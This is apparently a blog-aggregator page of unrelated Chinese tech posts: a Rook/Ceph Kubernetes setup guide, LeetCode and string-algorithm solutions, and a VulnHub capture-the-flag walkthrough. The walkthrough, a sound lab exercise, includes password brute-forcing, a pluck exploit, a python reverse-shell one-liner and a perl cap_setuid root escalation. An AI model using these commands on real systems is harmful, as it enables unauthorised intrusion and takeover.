devices,未分区未进行文件系统格式化) 裸分区(Raw partitions,未进行文件系统格式化) LVM逻辑卷(LVM Logical Volumes,未进行文件系统格式化) block模式下存储类(storage class)中可用的持久卷(PV) 这里我们选择为K8S集群的每个工作节点添加一块额外的未格式化磁盘(裸设备),步骤见以下截图: 将新增的磁盘设置成独立模式(模拟公有云厂商提供的独立磁盘),然后启动K8S集群虚拟机,在工作节点上使用以下命令检查一下磁盘条件是否符合Ceph部署要求: [root@node1 ~]# lsblk -f NAME FSTYPE LABEL UUID MOUNTPOINT sdb sr0 iso9660 CentOS 7 x86_64 2020-11-04-11-36-43-00 sda ├─sda2 LVM2_member 45inUD-qJ4O-Fq9E-L6KD-8eJV-mofD-BuJDq6 │ └─centos_node1-root xfs 704f37f0-ae59-4995-80ec-58cba66e023b / └─sda1 xfs 67243cc8-c3fb-490f-b0da-cc439371d5e1 /boot 上述命令输出中 sdb 磁盘就是我们为工作节点新添加的裸设备(它的FSTYPE为空),我们可以把它分配给Ceph使用。 需要在K8S集群中启用Rook准入控制器,用于验证使用自定义资源(CR)正确地配置了Rook。该准入控制器在身份认证和授权之后并在持久化对象之前,拦截发往K8S API Server的请求以进行验证。我们在安装Rook之前,使用以下命令在K8S集群中安装Rook准备入控制器: #在master1节点直接应用在线yaml文件 kubectl apply -f https://github.com/jetstack/cert-manager/releases/download/v1.7.1/cert-manager.yaml #在master1将cert-manager.yaml下载到本地的方式(推荐) kubectl apply -f /etc/kubernetes/rook/cert-manager.yaml ...... service/cert-manager created service/cert-manager-webhook created deployment.apps/cert-manager-cainjector created deployment.apps/cert-manager created deployment.apps/cert-manager-webhook created mutatingwebhookconfiguration.admissionregistration.k8s.io/cert-manager-webhook created validatingwebhookconfiguration.admissionregistration.k8s.io/cert-manager-webhook created 另外,Ceph OSD在以下情况下需要依赖于LVM(逻辑卷,OSD是Ceph用于在各个存储节点实现存储功能的组件): 在裸设备或裸分区上创建OSD 如果启用了加密(在集群CR中设置了encryptedDevice: "true") 指定了元数据设备(metadata device) 在以下情况下OSD不需要LVM 在使用 storageClassDeviceSets 的PVC上创建OSD 目前大多数Linux发生版的LVM由lvm2包提供,在K8S集群中运行Ceph OSD的所有存储节点上都需要有这个包。虽然没有这个包Rook也能够成功创建Ceph OSD,但是当相应的节点(node)重启之后,其上运行的OSD pod将会启动失败。所以需要确保作为存储节点的操作系统上安装了LVM(从上面磁盘条件查验的结果中看到我们是有LVM卷的),CentOS可以使用以下命令安装LVM: sudo yum install -y lvm2 Ceph需要一个带有RBD模块的Linux内核。大多数Linux发行版都有这个模块,但不是所有,你可以在K8S集群的存储节点上运行 lsmod|grep rbd 命令检测一下,如果该命令返回空,那说明当前系统内核没有加载RBD模块,可以使用以下命令尝试加载RBD模块: #将RBD模块加载命令放入开机加载项里 cat > /etc/sysconfig/modules/rbd.modules << EOF #!/bin/bash modprobe rbd EOF #为上述为脚本添加执行权限 chmod +x /etc/sysconfig/modules/rbd.modules #执行上述脚本(如果返回'not found',你可能需要安装一个新的内核、或重新编译一个带有RBD模块的内核、或换一个带有RBD的Linux 发行版) /bin/bash /etc/sysconfig/modules/rbd.modules #查看RBD模块是否加载成功 lsmod|grep rbd Rook默认的RBD配置只指定了分层特性,以便与较旧的内核广泛兼容。如果K8S节点运行在5.4+的系统内核上,则可以启用其他功能特性。例如特别有用的 fast-diff 和 object-map 特性,主要的功能特性如下(在进行块存储的StorageClass定义时指定): imageFeatures: layering,fast-diff,object-map,deep-flatten,exclusive-lock 如果你将来会从Ceph共享文件系统(CephFS)创建卷(volume),那么需要使用4.17+的系统内核,PVC请求的存储配额只在高于该版本的内核上生效。 ------------------------------- 以上为使用Rook在K8S集群部署Ceph存储的前提条件 ------------------------------- 接下来正式使用Rook在K8S集群部署Ceph存储集群! 首先在K8S所有集群节点上安装Git客户端(用于拉取Rook部署组件清单): #安装Git yum install -y git #查看Git版本 git --version git version 1.8.3.1 使用Rook官方提供的示例部署组件清单(manifests)部署一个简单的Ceph集群(测试环境够用了): #使用git将部署组件清单示例下载到本地(慢或无法接通的话自己想法办FQ) git clone --single-branch --branch v1.10.11 https://github.com/rook/rook.git #进入到本地部署组件清单示例目录 cd rook/deploy/examples #执行以下命令将Rook和Ceph相关CRD资源和通用资源创建到K8S集群(其中psp.yaml是K8S集群受Pod安全策略保护的情况下的可选资原文件) kubectl create -f crds.yaml -f common.yaml -f psp.yaml 接下来部署Rook Operator组件,该组件为Rook与Kubernetes交互的组件,整个集群只需要一个副本,特别注意 Rook Operator 的配置在Ceph集群安装后不能修改,否则Rook会删除Ceph集群并重建,所以部署之前一定要做好规划,修改好operator.yaml的相关配置: 修改 rook/deploy/examples/operator.yaml文件中的以下内容: #修改镜像地址为华中科技大学和阿里云的(可以使用docker pull <url>验证一下,原来的地址很难下载) ROOK_CSI_CEPH_IMAGE: "quay.mirrors.ustc.edu.cn/cephcsi/cephcsi:v3.7.2" ROOK_CSI_REGISTRAR_IMAGE: "registry.aliyuncs.com/google_containers/csi-node-driver-registrar:v2.7.0" ROOK_CSI_RESIZER_IMAGE: "registry.aliyuncs.com/google_containers/csi-resizer:v1.7.0" ROOK_CSI_PROVISIONER_IMAGE: "registry.aliyuncs.com/google_containers/csi-provisioner:v3.4.0" ROOK_CSI_SNAPSHOTTER_IMAGE: "registry.aliyuncs.com/google_containers/csi-snapshotter:v6.2.1" ROOK_CSI_ATTACHER_IMAGE: "registry.aliyuncs.com/google_containers/csi-attacher:v4.1.0" #生产环境一般都会将裸设备自动发现开关设为true(方便后面追加设备) ROOK_ENABLE_DISCOVERY_DAEMON: "true" #打开CephCSI 提供者的节点(node)亲和性(去掉前面的注释即可,会同时作用于CephFS和RBD提供者,如果要分开这两者的调度,可以继续打开后面专用的节点亲和性) CSI_PROVISIONER_NODE_AFFINITY: "role=storage-node; storage=rook-ceph" #如果CephFS和RBD提供者的调度亲各性要分开,则在上面的基础上继打开它们专用的开关(去除下面两行前端的#即可) CSI_RBD_PROVISIONER_NODE_AFFINITY: "role=rbd-node" CSI_CEPHFS_PROVISIONER_NODE_AFFINITY: "role=cephfs-node" #打开CephCSI 插件的节点(node)亲和性(去掉前面的注释即可,会同时作用于CephFS和RBD插件,如果要分开这两者的调度,可以继续打开后面专用的节点亲和性) CSI_PLUGIN_NODE_AFFINITY: "role=storage-node; storage=rook-ceph" #如果CephFS和RBD提供者的调度亲各性要分开,则在上面的基础上继打开它们专用的开关(去除下面两行前端的#即可) CSI_RBD_PLUGIN_NODE_AFFINITY: "role=rbd-node" CSI_CEPHFS_PLUGIN_NODE_AFFINITY: "role=cephfs-node" #rook-ceph-operator的Deployment中的容器镜像地址rook/ceph:v1.10.11 可以不用换,下载还是很快的! #生产环境一般还会打开裸设备自动发现守护进程(方便后期增加设备) ROOK_ENABLE_DISCOVERY_DAEMON: "true" #同时开打发现代理的节点亲和性环境变量 - name: DISCOVER_AGENT_NODE_AFFINITY value: "role=storage-node; storage=rook-ceph" 确认修改完成后,在master1节点上执行以下命令进行Rook Ceph Operator的部署: #执行以下命令在K8S集群中部署Rook Ceph Operator(镜像拉取可能需要一定时间,耐心等待,可用后一条命令监控相关Pod部署情况) kubectl create -f operator.yaml #使用以下命令监控Rook Ceph Operator相关Pod的部署情况(rook-ceph为默认Rook Ceph Operator部署命名空间) watch kubectl get pods -n rook-ceph 确保rook-ceph-operator相关Pod都运行正常的情况下,修改 rook/deploy/examples/cluster.yaml文件中的以下内容: # enable prometheus alerting for cluster(为集群打开prometheus告警) monitoring: # requires Prometheus to be pre-installed enabled: true #打开节点亲和性调度和污点容忍 To control where various services will be scheduled by kubernetes, use the placement configuration sections below. The example under 'all' would have all services scheduled on kubernetes nodes labeled with 'role=storage-node' and tolerate taints with a key of 'storage-node'. placement: all: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: role operator: In values: - storage-node # podAffinity: # podAntiAffinity: # topologySpreadConstraints: # tolerations: # - key: storage-node # operator: Exists #将存储设置为我们三个工作节点新加的sdb裸盘 storage: # cluster level storage configuration and selection useAllNodes: false useAllDevices: false #deviceFilter: config: # crushRoot: "custom-root" # specify a non-default root label for the CRUSH map # metadataDevice: "md0" # specify a non-rotational storage so ceph-volume will use it as block db device of bluestore. # databaseSizeMB: "1024" # uncomment if the disks are smaller than 100 GB # journalSizeMB: "1024" # uncomment if the disks are 20 GB or smaller # osdsPerDevice: "1" # this value can be overridden at the node or device level # encryptedDevice: "true" # the default value for this option is "false" Individual nodes and their config can be specified as well, but 'useAllNodes' above must be set to false. Then, only the named nodes below will be used as storage resources. Each node's 'name' field should match their 'kubernetes.io/hostname' label. nodes: - name: "node1" devices: # specific devices to use for storage can be specified for each node - name: "sdb" - name: "node2" devices: # specific devices to use for storage can be specified for each node - name: "sdb" - name: "node3" devices: # specific devices to use for storage can be specified for each node - name: "sdb" # - name: "nvme01" # multiple osds can be created on high performance devices # config: # osdsPerDevice: "5" # - name: "/dev/disk/by-id/ata-ST4000DM004-XXXX" # devices can be specified using full udev paths # config: # configuration can be specified at the node level which overrides the cluster level config # - name: "172.17.4.301" # deviceFilter: "^sd." # when onlyApplyOSDPlacement is false, will merge both placement.All() and placement.osd onlyApplyOSDPlacement: false 修改完后,根据我们在operator.yaml和cluster.yaml上的节点标签亲和性设置,为三个工作节点打上对应的标签: kubectl label nodes node1 node2 node3 role=storage-node kubectl label nodes node1 node2 node3 storage=rook-ceph #确保工作节点打上对应标签,并且cluster文件修改好后,就可以使用cluster.yaml部署Ceph存储集群了(部署需要一定的时间,可用后一条命令监控) kubectl create -f cluster.yaml #使用以下命令监控Ceph Cluster相关Pod的部署情况(rook-ceph为默认部署命名空间) watch kubectl get pods -n rook-ceph Rook Ceph集群搭建好并成功运行后,我们就可以开始基于Rook Ceph集群创建可供K8S内的应用消费的块存储(Block Devices)、共享文件系统(Shared Filesystem)和对象存储(Object Storage)了。这些类型的存储资源在Rook Ceph中分别被定义为CephBlockPool、CephFilesystem 和 CephObjectStore。 首先,来创建Ceph块存储(Block Devices):Ceph能为Pod提供裸块设备存储卷(volumn)。只需要将Rook官方提供的示例部署组件清单项目中 /rook/deploy/examples/csi/rbd 目录下的storageclass.yaml文件或storageclass-ec.yaml文件应用到K8S里即可(这两个文件的主要区别是保障数据高可用的方式不一样,前者是通过多副本的方式,后者是通过擦除算法的方式保障节点故障时数据不丢失,后者不需要三倍的存储空间,但需要更多的CPU资源进行计算),它们都需要三个节点进行部署。我们这里选用storageclass.yaml文件,因为我们的内核版本已升级至5.4+,所以可以开启前面说的特别有用的 fast-diff 和 object-map 特性,打开storageclass.yaml文件修改以下内容(红色为新开启的功能特性): --- apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: rook-ceph-block # 下面注释将该存储类型设置为默认存储类型 annotations: storageclass.beta.kubernetes.io/is-default-class: "true" ...省略... # RBD image features # Available for imageFormat: "2". Older releases of CSI RBD # support only the `layering` feature. The Linux kernel (KRBD) supports the # full complement of features as of 5.4 # `layering` alone corresponds to Ceph's bitfield value of "2" ; # `layering` + `fast-diff` + `object-map` + `deep-flatten` + `exclusive-lock` together # correspond to Ceph's OR'd bitfield value of "63". Here we use # a symbolic, comma-separated format: # For 5.4 or later kernels: #imageFeatures: layering,fast-diff,object-map,deep-flatten,exclusive-lock # For 5.3 or earlier kernels: imageFeatures: layering,fast-diff,object-map,deep-flatten,exclusive-lock ...省略... 修改好后执行以下命令应用一下即可: kubectl create -f rook/deploy/examples/csi/rbd/storageclass.yaml 可以查看一下当前集群中的存储资源: kubectl get sc NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE rook-ceph-block (default) rook-ceph.rbd.csi.ceph.com Delete Immediate true 5m10s 然后,来创建Ceph共享文件系统(Shared Filesystem):Ceph文件系统(CephFS)允许用户将符合posix的共享文件夹“mount”到一个或多个主机中((对于K8S来说就是pod),在K8S中创建CephFS只需要将Rook官方提供的示例部署组件清单项目中 rook/deploy/examples/csi/cephfs 目录下的storageclass.yaml文件或storageclass-ec.yaml文件应用一下即可: kubectl create -f /root/rook/deploy/examples/csi/cephfs/storageclass.yaml 可以查看一下当前集群中的存储资源: kubectl get sc NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE rook-ceph-block (default) rook-ceph.rbd.csi.ceph.com Delete Immediate true 6m15s rook-cephfs rook-ceph.cephfs.csi.ceph.com Delete Immediate true 22s 最后,来创建Ceph对象存储(Object Storage):Ceph对象存储支持使用HTTP的get、put、post以及delete语义操作的称为对象数据块的存储。在K8S中创建Ceph对象存储只需要将Rook官方提供的示例部署组件清单项目中 rook/deploy/examples 目录下的object.yaml文件或object-ec.yaml文件应用一下即可(如果文件内默认的gateway.port:80端口已经被占用的话,需要更换一个未占用的端口,比如我这边80端口已经分配置Ingress Nginx Controller了,将Ceph对象存储API服务的网关端口换成8088): # The gateway service configuration gateway: # A reference to the secret in the rook namespace where the ssl certificate is stored # sslCertificateRef: # A reference to the secret in the rook namespace where the ca bundle is stored # caBundleRef: # The port that RGW pods will listen on (http) port: 8088 # The port that RGW pods will listen on (https). An ssl certificate is required. # securePort: 443 # The number of pods in the rgw deployment instances: 1 修改好后执行以下命令应用一下即可: kubectl create -f rook/deploy/examples/object.yaml 可以查看一下rook-ceph命名空间中的对象存储服务运行状态: kubectl get CephObjectStore -n rook-ceph NAME PHASE my-store Progressing 最后对于K8S v1.20+后的版本提个醒:官方在 K8S 1.20 中基于对性能和统一API Server调用方式的初衷,移除了对 SelfLink 的支持,而 大多数 provisioner 需要 SelfLink 该项功能,否则会出现PVC申请PV时一直处于 pending 状态,所以我们需要修改 API Server 的配置文件,重新启用 SelfLink 功能: # vi /etc/kubernetes/manifests/kube-apiserver.yaml ...省略... spec: containers: - command: - kube-apiserver ...省略... - --feature-gates=RemoveSelfLink=false # 重新加回的参数 ...省略... 然后重新应用一下 kube-apiserver.yaml : kubectl apply -f /etc/kubernetes/manifests/kube-apiserver.yaml 上述问题也可以使用新的不基于 SelfLink 功能的 provisioner 镜像,重新创建 provisioner 容器进行解决,例如下面这个境像: registry.cn-beijing.aliyuncs.com/pylixm/nfs-subdir-external-provisioner:v4.0.0 如果你试了上面的解决法法都不行,这时你要认真检查一下你创建StorageClass资源对象时用的yaml配置文件里的 provisioner 的值是否与创建存储提供者Pod时用的Deployment资源对象文件里env节的 PROVISIONER_NAME 的值相同(不同的话,使用相应StorageClass的PVC也会报相同的错误): apiVersion: apps/v1 kind: Deployment metadata: ...省略... containers: ...省略... env: - name: PROVISIONER_NAME value: local/nfs ...省略... apiVersion: storage.k8s.io/v1 kind: StorageClass ...省略... provisioner: local/nfs #要与Deployment里env里的PROVISIONER_NAME的值对应 allowVolumeExpansion: true 关于 Rook Ceph就介绍到这里,更多相关知识请到Rook官网查看了。
2024-01-19
145
0
0
网络聚合
2024-01-19
【LeetCode链表#9】图解:两两交换链表节点
两两交换链表中的节点 力扣题目链接(opens new window) 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 思路 这里还是要应用虚拟头节点,不然交换链表头节点的操作会与交换其他节点时不同 交换的过程其实不难理解,但是代码实现过程需要注意很多细节 下面是交换过程的图解 首先,定义一个虚拟头节点 并让当前指针cur指向dummy head【注意:cur一定要在需要操作的两个节点之前】 然后按途中顺序将对应节点的next指好即可 注意:虽然画图我们很好理解,但是在操作过程中有很多细分步骤,如果直接上手写代码会很困惑 例如,当dummy指向节点2(也就是cur.next.next)后,dummy与原来的节点1就断开连接了 此时再想通过cur去寻找到节点1(cur.next)就行不通了,进而节点2也就无法指向节点1,步骤②无法继续进行 与翻转链表时类似,我们需要一个临时节点temp先去保存节点1 让节点2通过指向temp的方式找到节点1 ps:为什么不存节点2?因为步骤①之后节点2就已经是cur.next了,而dummy是不会变的,所以怎么都能找到节点2 当节点2指向temp(储存有cur.next)后,节点2与原来的节点3就断开连接了 同理,我们应该把节点3也用临时节点保存,这里用temp1保存 于是节点2指向节点3的过程就变成了: temp1是节点3的备份,它后面还是和节点4连着,所以不用担心找不到节点4 至此,节点1与节点2完成了交换,cur移动到cur.next.next(即交换后此处为节点1,是什么节点并不重要,反正待会交换的又不是当前cur指向的节点,而是后两个节点),展开后的结果如下: 链表节点数为奇数时,结束条件:cur.next.next = null 链表节点数为偶数时,结束条件:cur.next = null 代码 思路通过画图可以很好理解,但是代码实现又有很多坑 class Solution { public ListNode swapPairs(ListNode head) { //定义虚拟头节点 ListNode dummy = new ListNode(0); dummy.next = head;//虚拟头节点指向head ListNode cur = dummy; //定义临时节点用于保存节点1、3 ListNode temp; ListNode temp1; //遍历链表 //注意这里的结束条件,链表节点数为奇偶情况下是不同的 //需要先验证cur.next再验证cur.next.next //要不然如果是偶数个节点你先验cur.next.next直接就空指针异常了 while(cur.next != null && cur.next.next != null ){ //这里下意识肯定就想开始交换了,但如果不先保存节点就会出现空指针异常 temp = cur.next; temp1 = cur.next.next.next; cur.next = cur.next.next;//dummy换2 cur.next.next = temp;//2换1 cur.next.next.next = temp1;//1换3 cur = cur.next.next;//移动cur至新的待交换的两个节点前 } //遍历结束,返回dummy的下一个节点即可 return dummy.next; } } 易错点: 1、创建完dummy后记得指向head 2、交换过程中要以cur为参照点来表示参与交换的节点,不要变,例如1换3时不能写成 `temp.next = temp1;
2024-01-19
163
0
0
网络聚合
2024-01-19
vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备: 攻击机:虚拟机kali、本机win10。 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下载后直接vbox打开即可。 知识点:perl提权、pluck 框架漏洞、端口敲门、密码爆破、敏感文件发现。 信息收集: 扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.2126,显示开放了80端口,开启了http服务并且存在robots.txt文件以及两个目录信息。 访问下web服务,跳转到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜测存在文件包含漏洞,进行测试:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在检测,被拦截了。 目录扫描: 使用gobuster进行目录扫描,发现flag1.txt文件、data文件夹、files文件夹等信息。 访问:http://192.168.5.126/flag1.txt获得flag1.txt信息。 访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。 搜索下pluck 4.7.13的漏洞信息:searchsploit pluck,发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。 访问:http://192.168.5.126/planet时,发现travel目录,在travel目中检查源代码时发现提示信息,告诉我们要获取一个坐标并且RA是开启,DEC是关闭。 <!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 访问下半人马座的坐标信息,获得:RA 14 29 43。 端口敲门和密码爆破: 使用命令:knock 192.168.5.126 14 29 43进行端口敲门,然后再次使用nmap对靶场进行端口扫描,命令:nmap -T4 -sV -p- -A 192.168.5.126,发现ssh服务。 尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。 使用bp抓取登录的数据包:http://192.168.5.126/login.php,使用获得字典进行爆破,成功获得密码:hacktheplanet。 框架漏洞获取shell: 这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(这里因为电脑重启了一次,靶机ip和kali的ip均发生了改变)。 访问返回的地址:http://192.168.5.153:80/files/shell.phar,获得一个命令执行窗口。 使用python反弹下shell,python反弹脚本可以在这里生成:https://www.revshells.com/。 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' 多级目录获取shell: 对二级目录进行了扫描,最后在/data/trash/files目录下发现shell.phar文件,访问该文件获取了一个shell(同上面),这里不在赘述。 提权-proxima: 在/home目录下发现用户名称:alfa、centauri、proxima,想着用原来的密码字典进行爆破,但是失败。 在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。 使用获得数据库信息,连接数据库,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123。 使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。 提权: 查看下当前账户是否存在可以使用的特权命令,sudo -l,发现无法执行sudo权限。 通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件进行提权,但是未发现可以进行提权的文件。 上传LinEnum.sh脚本进行信息收集或者getcap -r / 2>/dev/null命令也可以发现,发现一个:cap_setuid+ep。 查找下perl的提权方式,执行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',进行提权,成功获得root权限。 获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。
2024-01-19
188
0
0
网络聚合
2024-01-19
代码随想录-day3
字符串 字符串的题目,通常涉及到对字符串进行各种操作,由于JAVA提供了非常多的库函数,所以在很多题目中我们可以使用库函数快速使这道题解决,但是这与我们训练算法和编码能力相违背。 所以我们在本章专题里面,主要是使用我们自己构造的函数对字符串进行,操作加深我们对字符串操作的理解,当我们训练熟悉后可以使用库函数直接执行。 344.反转字符串 题意:编写一个函数,其作用是将输入的字符串反转过来。输入字符串以字符数组 char[] 的形式给出。 不要给另外的数组分配额外的空间,你必须原地修改输入数组、使用 O(1) 的额外空间解决这一问题。 你可以假设数组中的所有字符都是 ASCII 码表中的可打印字符。 示例 1: 输入:["h","e","l","l","o"] 输出:["o","l","l","e","h"] 示例 2: 输入:["H","a","n","n","a","h"] 输出:["h","a","n","n","a","H"] 思路 在此我们考虑不使用额外空间的一种做法,我们可以使用一个在头,一个在尾部的双指针对字符串做一个反转。 每次双指针所指向的字符进行交换,当两个指针穿越的时候就表示已经处理完整个字符串。 代码 class Solution { public void reverseString(char[] s) { int n = s.length; int l = 0, r = n - 1; while (l < r) { swap(s, l, r); l ++; r --; } } public void swap(char[] s, int i, int j) { if (i == j) return ; // 如果没有这行当交换相同元素时结果会是0 s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; } } 541. 反转字符串II 题意:给定一个字符串 s 和一个整数 k,从字符串开头算起, 每计数至 2k 个字符,就反转这 2k 个字符中的前 k 个字符。 如果剩余字符少于 k 个,则将剩余字符全部反转。 如果剩余字符小于 2k 但大于或等于 k 个,则反转前 k 个字符,其余字符保持原样。 示例: 输入: s = "abcdefg", k = 2 输出: "bacdfeg" 思路 本题逻辑并不能,但是存在多种情况,导致在编写代码的可能有多个if-else,并且对某个特点的情况存在遗漏。 为了解决这个问题,我们可以每次移动2k个区间,如何判断是否有要翻转的区间。 代码 class Solution { public String reverseStr(String s, int k) { char[] ca = s.toCharArray(); int n = ca.length; for (int i = 0; i < n; i += 2 * k) { if (i + k <= n) { // 剩余区间大于等于k reverse(ca, i, i + k - 1); continue; } reverse(ca, i, n - 1); // 剩余区间小于k } return new String(ca); } public void reverse(char[] s, int start, int end) { for (int i = start, j = end; i < j; i ++, j --) { char temp = s[i]; s[i] = s[j]; s[j] = temp; } } } 剑指Offer 05.替换空格 题意:请实现一个函数,把字符串 s 中的每个空格替换成"%20"。 示例 1: 输入:s = "We are happy." 输出:"We%20are%20happy." 思路 如果不限制使用O(1)的空间,我们可以直接使用一个StringBuilder进行操作,这样的代码不能直接写成,在此我们继续讨论限制O(1)的空间复杂度进行操作。 我们可以先对字符串进行扩充,然后从后向前遍历。我们不在前面进行扩充的原因:如果在前面扩充,如果我们要添加一个元素,就得把一个元素往后移动,这样我们每次操作的时间复杂度就为O(n2) 其实很多数组填充类的问题,都可以先预先给数组扩容带填充后的大小,然后在从后向前进行操作。 ——代码随想录 我们设置两个指针一个i指向原字符串的末尾,一个j指向扩充后的末尾,如果此时s[i] != ' ',我们把s[j] = s[i]。反之我们把空格替换为%20,j再往后移动2位。 代码 class Solution { public String replaceSpace(String s) { if (s == null || s.length() == 0) return s; // 空字符串跳过 StringBuilder sb = new StringBuilder(); for (int i = 0; i < s.length(); i ++ ) { if (s.charAt(i) == ' ') sb.append(" "); } if (sb.length() == 0) return s; // 没有空格 int oldSize = s.length(); s += sb.toString(); int newSize = s.length(); char[] ca = s.toCharArray(); for (int i = oldSize - 1, j = newSize - 1; i < j; i --, j --) { if (ca[i] != ' ') { ca[j] = ca[i]; } else { ca[j] = '0'; ca[j - 1] = '2'; ca[j - 2] = '%'; j -= 2; } } return new String(ca); } } 151.翻转字符串里的单词 题意:给定一个字符串,逐个翻转字符串中的每个单词。 示例 1: 输入: "the sky is blue" 输出: "blue is sky the" 示例 2: 输入: " hello world! " 输出: "world! hello" 解释: 输入字符串可以在前面或者后面包含多余的空格,但是反转后的字符不能包括。 示例 3: 输入: "a good example" 输出: "example good a" 解释: 如果两个单词间有多余的空格,将反转后单词间的空格减少到只含一个。 思路 在之前,我们已经通过自己实现的reverse()对字符串进行了翻转,本题在之前翻转字符串的问题的基础上进行了扩展,我们要去掉字符串前后多余的空格和单词之前多余的空格。 值得注意的是,每个单词之间必须保留一个空格。然后在此基础上我们先翻转整个字符串,再翻转每个单词即可。 本题的重难点其实不在翻转,而是在去除空格。我们采用与之前“移除元素”那题的逻辑书写一个函数去除空格。 public char[] removeExtraSpaces(char[] s) { int slow = 0; // 表示处理完的字符串的末尾 for (int fast = 0; fast < s.length; fast ++ ) { if (s[fast] != ' ') { if (slow != 0) s[slow ++] = ' '; // 如果不是第一个单词就先在前面加一个空格先 while (fast < s.length && s[fast] != ' ') { s[slow ++] = s[fast ++]; } } } char[] newChars = new char[slow]; System.arraycopy(s, 0, newChars, 0, slow); // 重设大小后拷贝 return newChars; } 代码 class Solution { public String reverseWords(String s) { char[] ca = s.toCharArray(); ca = removeExtraSpaces(ca); reverse(ca, 0, ca.length - 1); for (int i = 0, j = 0; i <= ca.length; i ++ ) { if (i == ca.length || ca[i] == ' ') { // 先特判最后一个单词 reverse(ca, j , i - 1); j = i + 1; // j重新指向下一个单词的开头 } } return new String(ca); } public void reverse(char[] s, int i, int j) { while (i < j) { s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; i ++; j --; } } public char[] removeExtraSpaces(char[] s) { int slow = 0; for (int fast = 0; fast < s.length; fast ++ ) { if (s[fast] != ' ') { if (slow != 0) s[slow ++] = ' '; // 如果不是第一个单词就先在前面加一个空格先 while (fast < s.length && s[fast] != ' ') { s[slow ++] = s[fast ++]; } } } char[] newChars = new char[slow]; System.arraycopy(s, 0, newChars, 0, slow); return newChars; } } 剑指Offer58-II.左旋转字符串 题意:字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如,输入字符串"abcdefg"和数字2,该函数将返回左旋转两位得到的结果"cdefgab"。 示例 1: 输入: s = "abcdefg", k = 2 输出: "cdefgab" 示例 2: 输入: s = "lrloseumgh", k = 6 输出: "umghlrlose" 限制: 1 <= k < s.length <= 10000 思路 在本题中我们还是利用整体-局部翻转的方法来实现左旋转字符串的操作,通过简单的模拟我们不难得出:我们可以先翻转前k个字符串,再翻转剩下的字符,最后整体翻转即可实现左旋转的效果。 代码 class Solution { public String reverseLeftWords(String s, int n) { char[] ca = s.toCharArray(); reverse(ca, 0, n - 1); reverse(ca, n, ca.length - 1); reverse(ca, 0, ca.length - 1); return new String(ca); } public void reverse(char[] s, int i, int j) { while (i < j) { s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; i ++; j --; } } } 28. 找出字符串中第一个匹配项的下标 题意:给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始)。如果不存在,则返回 -1。 示例 1: 输入: haystack = "hello", needle = "ll" 输出: 2 示例 2: 输入: haystack = "aaaaa", needle = "bba" 输出: -1 说明: 当 needle 是空字符串时,我们应当返回什么值呢?这是一个在面试中很好的问题。 对于本题而言,当 needle 是空字符串时我们应当返回 0 。这与C语言的 strstr() 以及 Java的 indexOf() 定义相符。 思路 本题是一道经典的KMP,KMP是为了快速找到一个字符串是否是另一个字符串的子串。为了实现KMP算法,我们必须要求一个前缀表,即next数组。
2024-01-19
118
0
0
网络聚合
2024-01-19
python Gui编程工具详解:beeware
